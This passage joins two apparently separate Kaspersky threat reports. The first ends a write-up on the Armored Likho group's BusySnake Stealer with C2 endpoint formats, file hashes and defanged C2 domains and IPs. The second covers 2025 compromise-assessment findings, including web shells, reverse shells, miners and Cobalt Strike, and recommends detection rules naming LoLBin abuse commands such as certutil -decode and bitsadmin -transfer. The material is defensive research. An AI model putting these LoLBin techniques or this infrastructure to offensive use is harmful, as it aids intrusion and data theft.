2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.

This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.

Key trends observed during compromise assessment engagements

• Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
• Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
• Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
• Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
• Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
• Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
• The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.

About the Kaspersky Compromise Assessment service

Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.

Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.

Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Detection logic families

Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:

• Credentials from dumps: 12.4% of all incidents;
• Specific living-off-the-land (LOTL) tools: 11.2 %;
• Specific malware families: 11.2 %.

These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.

Distribution of detection logic families (download)

Reasons for requesting Kaspersky Compromise Assessment services

Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).

Statistics on the reasons behind CA project requests (download)

When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.

Incident severity breakdown by service engagement reason
		Incident severity (%)
		High	Medium	Low
Reason for service	Acquiring new company	28.6	42.8	28.6
	General audit	27.7	36.7	35.6
	Report to an authority	30	46.7	23.3
	Checkup after a cybersecurity incident	40.7	25.9	33.4

Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.

Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.

Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.

The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.

Case study: Dormant threat uncovered only by a compromise assessment

A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.

Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:

1. A cron job that recreates a web shell
   A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
   
2. A live reverse shell
   On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
3. ClipBanker data stealer persisting via Windows registry
   A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
   
   This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
4. Malicious WMI event consumer with deceptive alias
   A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
   

The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.

Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.

Missed long-term incidents

The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!

Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.

Severity distribution of incidents by MTTD (download)

The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:

• For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
• However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
• Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).

Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.

The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.

Case study: Four-year-old crypto mining activity on domain controllers

In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.

Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.

Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:

• bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
• Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
• Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
• After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.

Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.

Unintentional malware preservation

An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.

Web shell incident distribution by severity (download)

One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.

Web shell location (download)

Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.

Asset inventory issues (download)

An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.

One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx

During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.

The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:

Legitimate, yet suspicious: LoLBins and remote management tools

In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.

The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.

LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.

Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)

To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:

1. Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
2. Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
   • HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
3. Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
4. Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.

Impact of not having continuous monitoring and proactive threat hunting

Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:

Incident severity breakdown, where 24/7 monitoring or threat hunting is absent
Control type	Low-severity	Medium/high-severity
No continuous monitoring	14%	86%
No threat hunting	16%	84%

Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:

• Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
• Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.

The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.

Case study: Secure by design without continuous monitoring

The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.

The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.

Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.

Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:

The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.

The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.

The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.

Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.

Incident response action statistics

An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.

Incident response actions required after compromise assessment (download)

The distribution highlights three frequently observed patterns:

• Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
• Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
• Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.

Why forensic collection is the default entry point

Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.

Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.

The organization’s ability to collect forensic data by incident severity (download)

Containment: The remove files/registry keys paradox

Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.

Communication failures: An additional operational overhead

A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:

• Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
• Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
• Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
• Staff turnover – loss of knowledge about historical configuration baselines.

These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.

The iterative nature of response plan updates

The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:

• Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
• Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
• Traffic analysis outcomes that expose additional lateral movement paths.
• Human constraints – unavailable system owners, changes in management processes, or supervisor approval.

Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.

Distinguishing real attacker artifacts from penetration testing leftovers

Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:

• Poorly documented penetration test report and artifact cleanup.
• Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
• Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.

Incident response maturity and its effect on severity

Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.

Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)

Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.

Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)

The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.

The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.

Case study: In-memory LionTail infection on critical Windows servers

During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.

Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.

Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.

The response plan comprised a number of actions, the most critical of which are highlighted below:

• Collection of volatile memory dumps for in-depth analysis.
• Acquisition of full forensic disk images from affected systems.
• Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.

Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.

While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.

Solving the root cause problems

Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.

Root-cause category	Share of incidents	Typical findings
Insufficient detection fidelity	60.7%	• No high-confidence alerts were generated by the EPP/EDR or related log sources. • In 9.4% of cases, the product was mis-configured or out of date or malfunctioning.
Missing alert-driven monitoring	35.9%	• Alerts that could have indicated compromise were generated, but an incident was not declared. • Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation.
Deficient vulnerability and configuration management	28.2%	• Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts). • Known vulnerabilities left unpatched or unmitigated.
Lack of structured threat hunting processes	27.4%	• Low-fidelity alerts were never reexamined after initial dismissal. • High-volume telemetry remained unchecked due to staffing constraints.
Inadequate security awareness programs	25.6%	• Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified. • Social engineering attempts were successful because of insufficient user training.
Absence of documented policies/processes	23.9%	• No formal incident response playbooks, change management procedures or data handling guidelines were available.

Common observations on root causes

The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.

Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.

A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:

Parent command line	Command line
